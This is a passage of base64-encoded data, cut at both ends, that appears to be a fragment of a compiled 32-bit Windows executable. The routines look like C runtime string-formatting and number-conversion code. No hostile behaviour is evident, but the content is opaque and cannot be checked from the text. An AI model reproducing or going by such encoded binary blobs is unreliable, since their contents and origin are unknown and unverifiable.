91DA+2y2oIUeiLRQAAg8QMhcB13IvDW13Di/9Vi+xWi00I6FQuAAAPt/C4//8AAGY78HQOaghW6BeuAABZWYXAdd1mi8ZeXcOL/1WL7INBbASLQWyLUPyF0nUU6Nd2AADHABYAAADolXMAADLA6wyLRQj/QXCLAIkCsAFdwgQAi/9Vi+yDQVQEi0FUi1D8hdJ1FOigdgAAxwAWAAAA6F5zAAAywOsMi0UI/0FYiwCJArABXcIEAIv/VYvsg0FsBItBbItQ/IXSdRToaXYAAMcAFgAAAOgncwAAMsDrEv9BcItNCIsBiQKLQQSJQgSwAV3CBACL/1WL7INBVASLQVSLUPyF0nUU6Cx2AADHABYAAADo6nIAADLA6xL/QViLTQiLAYkCi0EEiUIEsAFdwgQAi/9Vi+yLRQiL0VMz21eJAo16LItFDIlCBItFEGoIiUIIM8BZiVoM86tfiVoQi8JmiVoUiFoWiVoYiVociVogiFokiVooW13CDACL/1WL7ItFCDPSiQGLRQyJQQSLRRCJQQgzwIlRDIlRNIlBFIvBiVEQiFEYiVEgiVEkiVEoiFEsiVEwXcIMAIv/VYvsi0UIg2EQAINhFACJAYtFDIlBCItFEIlBDItFFIlBGIXAdAPGAAGLwV3CEACL/1WL7ItVDItFEFNWi3UIi9lX/3UUiRONewiJQwSNSxilUFKlpegc////i0UYg2NwAINjdACJQ2iLRRxfiUNsi8NeW13CGACL/1WL7ItVDItFEFNWi3UIi9lX/3UUiRONewiJQwSNSxilUFKlpege////i0UYg2NYAINjXACJQ1CLRRxfiUNUi8NeW13CGACL/1aL8YtGBIsOD7YAUOiJPwAAi0YExgAAi0YIiw7/cAT/MOgCMwAAXsOL/1aL8YtGBIsOD7cAUOigPwAAi0YEM8lmiQiLRgiLDv9wBP8w6NYyAABew4v/U1aL8TPbOV4MdAcywOkJAQAAi0YIiV4QZoleFIheFoleGIleHIleIIheJIleKDgYdQnHRhABAAAA69APtgBQ6MtxAABZhcB0JMdGEAIAAADrA/9GCItGCA+2AFDornEAAFmFwHXssAHprgAAAItOCIA5JQ+FgAAAAI1BAYA4JXR4x0YQBAAAAIlGCIA4KnUIQMZGFgGJRgiLzugjNQAAhMAPhGT///+LzujfNwAAi87ofjoAAIvO6DsyAACEwA+ER////2tOKAyLRiA4nAEgOwcQdZKJXhBmiV4UiF4WiV4YiV4ciV4giF4kiV4ox0YMFgAAAOkS////x0YQAwAAAIoBiEYUM8CAOSVTD5TAQQPBi86JRgjowzkAAF5bw4v/VovxM8k5Tgx0BDLAXsMzwIlOEIlGFItGCIhOGIlOIIlOJIlOKIhOLIlOMGY5CHUJx0YQAQAAAOvRD7cAaghQ6B6qAABZWYXAdCbHRhACAAAA6wSDRggCi0YIaggPtwBQ6P2pAABZWYXAdejpjAAAAItOCGolWmY5EXVkjUECZjkQdFyLzsdGEAQAAACJRgjo+jMAAIvO6KY0AACEwA+EZ////4vO6OM3AACLzuiAOQAAi87oijIAAITAD4RK////a04wDItGKIC8ASA7BxAAdStqFovO6K0wAADpK////8dGEAMAAABmiwFmiUYUM8BmOREPlMBAjQRBiUYIsAFew4B5BAB0A4sBw2oAaJ8BAABoyDkHEGgwOgcQaIw6BxDo+24AAMyAeQQAdQOLAcNqAGilAQAAaMg5BxBoqDoHEGgEOwcQ6NZuAADMi/9Vi+yLTQyAeQQAdBLoo////1D/dQjoXMv//1lZXcPotv///zPJOE0ID5XBweEfgckAAIB/iQhdw4v/VYvsg+wkU1aLdQwz21eLfQg783cWg///dxEPvceJXdx0BY1IAesUi8vrEA+9xold3I1IAXUCi8uDwSCLRRwz0opABITAiEX/D5TCM8BKg+Idg8IYK9GLTRAryolV9DhF/4lN+A+UwEglgAMAAIPAf4lF8DvIfhX/dRz/dRToQv///1lZagNY6bcCAAAzwDhF/w+UwEglgPz//4PAgjvID401AQAAi0XwSAPBi03wA8L32YlF7IlN+IXAD4kSAQAA99iJRfCD+EAPg/AAAACNSP8z0jPAQOhiRQEAi03wiUXog8D/iUXgi8KD0P+JVeSJRdwz0jPAQOhBRQEAI8fGRf0BI9YLwnUDiF39i0Xoi03kI8cjzgvBsQF1AorLiE3/OF0YdBCLReCLVdwjxyPWC8KKw3QCsAGIRf6EyXUEhMB0NejGqAAAhcB0Gz0AAQAAdAw9AAIAAHUeil0U6xk4XRQPlMPrEThd/3QMOF3+dQU4Xf10ArMBi03wi8eL1ujaRAEAi/iL8g+2w5kD+IvHE/ILxnQpi00c6BgiAAA78g+CXQEAAHcIO/gPhlMBAACLXRArXewrXfRL6UcBAAD/dRz/dRToDwMAAFlZagLptP7//4tN7OkbAQAAhdIPiQ4BAAD32olV9IP6QHIJi/uL8+nBAAAAM8CNSv9AM9LoO0QBAItN9IlF3IPA/4lF5IvCg9D/iVXgiUXoM9IzwEDoGkQBACPHxkX/ASPWC8J1A4hd/4tF3ItN4CPHI84LwbEBdQKKy4hN/ThdGHQQi0Xki1XoI8cj1gvCisN0ArABiEX+hMl1BITAdDXon6cAAIXAdBs9AAEAAHQMPQACAAB1HopdFOsZOF0UD5TD6xE4Xf10DDhd/nUFOF3/dAKzAYtN9IvHi9bos0MBAIv4i/IPtsOZA/gT8otNHOi7JwAAO/JyQHcEO/h2OotNHDPAi134D6z3AdHuQzhBBA+UwEglgAMAAIPAfzvYfhtR6Yr9//9+EItN9IvWi8foP0MBAIvyi/iLXfiLTRzoqCAAACP4I/KLRRyLyIB4BAB0E+hZ/P//UFZXU/91FOgByf//6xHoa/z//1BWV1P/dRTovsj//4PEFF9eW4vlXcOL/1WL7IPsHDPSU4tdGFZXi30MOFMED5TCSoPiHYPCF4P/QHc5i00IgzkAdgWLcQTrAjP2gzkBdgWLSQjrAjPJgH0UAFMPlMAPtsBQ/3UQM8ADxlKD0QBRUOkhAQAAi8fB7wWD4B+JReSNd/6FwHVRi87B4QUDyotVCIsUuot9CANEtwSJReyD0gCAfRQAiVX0D5TCiFXwhfZ0GYPHBIM/AI1/BA+UwCLQg+4BdfCLReyIVfBT/3Xw/3UQUf919OuXM9uJdfzBZfwFi8gBRfxDAVX8iV3402X4/034akBZK8iLRQiJTeiDweCLVLAEiwS4iVXsM9Lo+EEBAItN6IlF9ItFCIlV8DPSi0S4BIt9+CPH6NxBAQABRfSLx4tN5PfQEVXwM9IjRezo5UEBAItN9APIi0XwiU30E8KAfRQAiUXwdQWFfex0AjLbiF34hfZ0H4tNCIPBBIM5AI1JBA+UwCLYiF34g+4Bde2LTfSLRfD/dRj/dfj/dRD/dfxQUegw+///g8QYX15bi+Vdw4v/VYvsi00MgHkEAHQS6I/6//9Q/3UI6JnH//9ZWV3D6KL6//8zyThNCA+VwcHhH4kIXcOL/1WL7IHsLAsAAKEYEAoQM8WJRfyLTQwzwFNWVzhBBIt9CA+UwIm9sPb//0iJjaj2//+D4B2LH4PAGYmFrPb//4XbeQIz24tHBIvLO9hyAovIg8AIjVcIA8cD0YmFxPb//yvZK8KJncz2//+DxwiJheD2//8zwImV1Pb//zP2iYXo9v//M8mJhSz+//+JteT2//+Jvdz2//87+nUNi9jpawYAAIuF6Pb//4P5CQ+FNwEAAIXAD4STAAAAi53o9v//M8kz9r8Aypo7i4S1MP7///fnA8GJhLUw/v//g9IARovKO/N15Iu93Pb//4uFLP7//4XJdEyD+HNzFomMhTD+//+LhSz+//9AiYUs/v//6zGDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOhh6QAAi4Us/v//g8QQi7Xk9v//iYXo9v//hfYPhIIAAAAz0oXAdB4zwAG0lTD+//8TwEKL8IuFLP7//4mF6Pb//zvQdeKF9nRag/hzcxyJtIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDo0+gAAIudLP7//4PEEImd6Pb//+sGi53o9v//i5XU9v//M/YzyesGi53o9v//D7YHa/YKA/BBR4m15Pb//4m93Pb//zv6D4WW/v//hckPhPMEAACLwTPSagpZ9/GJhcj2//+LyomNuPb//4XAD4R/AwAAg/gmdgNqJlgPtgyFBjkHEA+2NIUHOQcQi/mJhdD2///B5wJXjQQxiYW8+P//jYXA+P//agBQ6JGC//+LxsHgAlCLhdD2//8PtwSFBDkHEI0EhQAwBxBQjYXA+P//A8dQ6OdBAQCLhbz4//8zyUGDxBg7wQ+HswAAAIu1wPj//4X2dRozwImF7Pb//4mFLP7//1CNhfD2///pnQIAADvxdQeKwem1AgAAhdt09TPJM/+LxvekvTD+//8DwYmEvTD+//+D0gBHi8o7+3Xkhcl0T4uFLP7//4P4c3MWiYyFMP7//4udLP7//0OJnSz+///rNDPbjYXA+P//iZ28+P//U1CNhTD+//+JnSz+//9ozAEAAFDoTecAAIrD6S8CAACLnSz+//+wAekrAgAAO9kPh44AAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoCOcAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+nAAQAAi50s/v//QImd6Pb//zv4D4TIAQAAhdsPhMABAAAzyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15OkK////O8ONtcD4//8PksGEyXUgjbUw/v//jZXA+P//iZXc9v//hMl0EovQiZXo9v//6xCNlTD+///r5IvTiZ3o9v//hMl1AovYM8kz/4mNXPz//4XSD4QPAQAAjYVg/P//K/CJtbT2//+NBL6LhAVg/P//iYWk9v//hcB1HTv5D4XcAAAAIYS9YPz//41PAYmNXPz//+nHAAAAM9IzwImV2Pb//4v3iYW89v//hdsPhJgAAACD/nN0WzvxdReDpLVg/P//AEADx4mFXPz//4uFvPb//4uN3Pb//4sEgfelpPb//wOF2Pb//4PSAAGEtWD8//+Lhbz2//+LjVz8//+D0gBAiZXY9v//RomFvPb//zvDdaCF0nQ0g/5zD4TsAAAAO/F1EYOktWD8//8AjUYBiYVc/P//i8Iz0gGEtWD8//+LjVz8//8T0kbryIP+cw+EuAAAAIuV6Pb//4u1tPb//0c7+g+F//7//4vBiY0s/v//weACUI2FYPz//1BozAEAAI2FMP7//1DoGeUAALABi50s/v//g8QQiZ3o9v//hMB0MYuFyPb//yuF0Pb//4mFyPb//w+Fh/z//4uNuPb//4XJD4S3AAAAizyNnDkHEIX/dUyDpbz4//8AjYXA+P//g6Us/v//AGoAUI2FMP7//2jMAQAAUOir5AAAi4Us/v//g8QQiYXo9v//63kz242F8Pb//4md7Pb//+kh/f//i4Xo9v//g/8BdFuFwHRXM8mL2DP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IuFLP7//4XJdKqD+HMPg3D///+JjIUw/v//i4Us/v//QImF6Pb//4mFLP7//+sGi4Xo9v//i5Xk9v//hdIPhIIAAAAzyYXAdB6LwjPSAYSNMP7//4uFLP7//xPSiYXo9v//QTvIdeKF0nRag/hzcxyJlIUw/v//i50s/v//Q4md6Pb//4mdLP7//+s/g6W8+P//AI2FwPj//4OlLP7//wBqAFCNhTD+//9ozAEAAFDoouMAAIudLP7//4PEEImd6Pb//+sGi53o9v//i4XM9v//hcAPhBMEAABqCjPSWffxiYXY9v//i8qJjbj2//+FwA+ErQMAAIP4JnYDaiZYD7YMhQY5BxAPtjSFBzkHEIv5iYW89v//wecCV40EMYmFvPj//42FwPj//2oAUOiMff//i8bB4AJQi4W89v//D7cEhQQ5BxCNBIUAMAcQUI2FwPj//wPHUOjiPAEAi4W8+P//M8lBg8QYO8EPh5QAAACLvcD4//+F/3VDM8BQiYXs9v//iYUs/v//jYXw9v//UGjMAQAAjYUw/v//UOi24gAAg8QQi50s/v//sAGJnej2//+Lnej2///pwQIAADv5dQSKwevthdt0+DPJM/aLx/ektTD+//8DwYmEtTD+//+D0gBGi8o783Xk6acAAACJjIUw/v//i50s/v//Q4mdLP7//+umO9kPh9cAAACLvTD+//+7zAEAAImFLP7//8HgAlCNhcD4//9QjYUw/v//U1DoIuIAAIPEEDPAhf91GlCJhbz4//+JhSz+//+NhcD4//9QU+k9////i50s/v//QImd6Pb//zv4D4RF////hdsPhD3///8zyTP2i8f3pLUw/v//A8GJhLUw/v//g9IARovKO/N15IXJD4QH////i4Us/v//g/hzD4JC////M9uNhcD4//9TUI2FMP7//4mdvPj//2jMAQAAUImdLP7//+iE4QAAisODxBCLnSz+///pyf7//zvDjZXA+P//D5LBhMl1Bo2VMP7//4mV5Pb//42VMP7//4TJdQaNlcD4//+Jlcj2//+EyXQKi/iJvdz2///rCIv7iZ3c9v//hMl1AovYM9Iz9omVXPz//4X/D4QHAQAAi4Xk9v//jY1g/P//K8GJheT2//+NBLCLhAVg/P//iYXM9v//hcB1HTvyD4XIAAAAIYS1YPz//41WAYmVXPz//+mzAAAAM8Az/4mF0Pb//4vOhdsPhJAAAACD+XN0UzvKdReDpI1g/P//AEADxomFXPz//4uF0Pb//4uVyPb//4sEgvelzPb//wPHg9IAAYSNYPz//4uF0Pb//4PSAEBBiYXQ9v//i/qLlVz8//87w3Wohf90NIP5cw+E/AAAADvKdRGDpI1g/P//AI1BAYmFXPz//4vHM/8BhI1g/P//i5Vc/P//E/9B68iD+XMPhMgAAACLvdz2//+LheT2//9GO/cPhQ3///+LwomVLP7//8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vBjbXA+P//D5LChNJ1eY21YPz//429wPj//4m9xPb//4mF2Pb//4TSdQiJjdj2//+LyDPSM/+Jlez2//85ldj2//8PhCUBAACNhfD2//8r8Im1uPb//40EvouEBfD2//+Jhcz2//+FwHUlO/oPhe4AAAAhhL3w9v//jVcBiZXs9v//6dkAAACNvWD8///ri4Ol1Pb//wAzwImF3Pb//4v3hckPhKkAAACD/nN0WzvydReDpLXw9v//AEADx4mF7Pb//4uF3Pb//4uVxPb//4sEgvelzPb//wOF1Pb//4PSAAGEtfD2//+Lhdz2//+D0gBARomV1Pb//4uV7Pb//4mF3Pb//zvBdaCDvdT2//8AdECD/nMPhAABAAA78nURg6S18Pb//wCNRgGJhez2//+LhdT2//8z0gGEtfD2//8T0kaJldT2//+F0ouV7Pb//3XAg/5zD4TAAAAAi7W49v//Rzu92Pb//w+F6f7//4vCiZVc/P//weACUI2F8Pb//1CNhWD8//9ozAEAAFDo6NMAAIPEELABi41c/P//iY3g9v//hMAPhKEAAACLhcj2//8rhdD2//+Jhcj2//8PhSz8//+LlbT2//+F0g+EPQEAAIsElZw5BxCJhcz2//+FwHV8UImF1PT//4mFXPz//42F2PT//1CNhWD8//9ozAEAAFDoc9MAAIPEEIuNXPz//4mN4Pb//+n5AAAAM8BQiYXU9P//iYVc/P//jYXY9P//UI2FYPz//2jMAQAAUOg40wAAg8QQMsDpS////4Ol1PT//wCDpVz8//8AagDrc4P4AQ+EpwAAAIXJD4SfAAAAM/8z9vektWD8//8Dx4mEtWD8//+Lhcz2//+D0gBGi/o78XXghf8PhG////+LhVz8//+D+HNzHIm8hWD8//+LjVz8//9BiY3g9v//iY1c/P//61IzwImF1PT//4mFXPz//1CNhdj0//9QjYVg/P//aMwBAABQ6JHSAACLhbD2//+DxBD/taj2//8PtoAIAwAAUOin5///WVlqAunw8///i43g9v//hdt1BDP26yCLhJ2M+v//g6XM9v//AA+9wHQDQOsCM8CNc//B5gUD8IXJdQQz0usgi4SNXPz//4OlzPb//wAPvcB0A0DrAjPAjVH/weIFA9CLwivGO/Jq/xv2I/CJtdT2//9fD4atAQAAi4XU9v//M9KD4B/B7gVqIFkryImFyPb//zPAibXc9v//QImNuPb//+hnKAEAi4ydjPr//0gPvcmJhbT2///30ImFzPb//3QDQesCM8lqIFgrwY0UHjmFyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XqAAAAhMAPheIAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AjVoBi43g9v//i7XU9v//dQKL2omdjPr//+s8M8BQiYXU9P//iYWM+v//jYXY9P//UI2FkPr//2jMAQAAUOhl0AAAi52M+v//g8QQi43g9v//i7XU9v//i5Ws9v//i4W89v//K9CJlaz2//+FwHQri8I78HYh/7Wo9v//i4Ww9v//agEPtoAIAwAAUP+1vPb//+kaAwAAi9Ar1jvZdzlyMI1L/zvPdDCLhI2Q+v//O4SNYPz//3UFSTvPdes7z3QXi4SNkPr//zuEjWD8//93B0aJtdT2//+L8jPAg+Ifwe4FaiBZK8qJlcj2//9AibXc9v//M9KJjbj2///oPiYBAIuMnYz6//9ID73JiYW09v//99CJhcz2//90BY1BAesCM8BqIFkryI0UHjmNyPb//4mV0Pb//w+XwIP6c4iFw/b//w+XwYP6c3UIhMB0BLAB6wIywITJD4XkAAAAhMAPhdwAAACD+nJyCWpyWomV0Pb//4vKiY3Y9v//O9cPhI8AAACLhdz2//+L8ivwjZWQ+v//jRSyO8hybDvzcwSLAusCM8CJhcT2//+NRv87w3MFi0L86wIzwCOFzPb//4PqBIuNuPb//4udxPb//yOdtPb//9Poi43I9v//0+OLjdj2//8Lw4mEjZD6//9JTomN2Pb//zvPdA6LnYz6//+Lhdz2///rkIuV0Pb//4u13Pb//4X2dA8zwI29kPr//4vO86uDz/+AvcP2//8AdAuNQgGJhYz6//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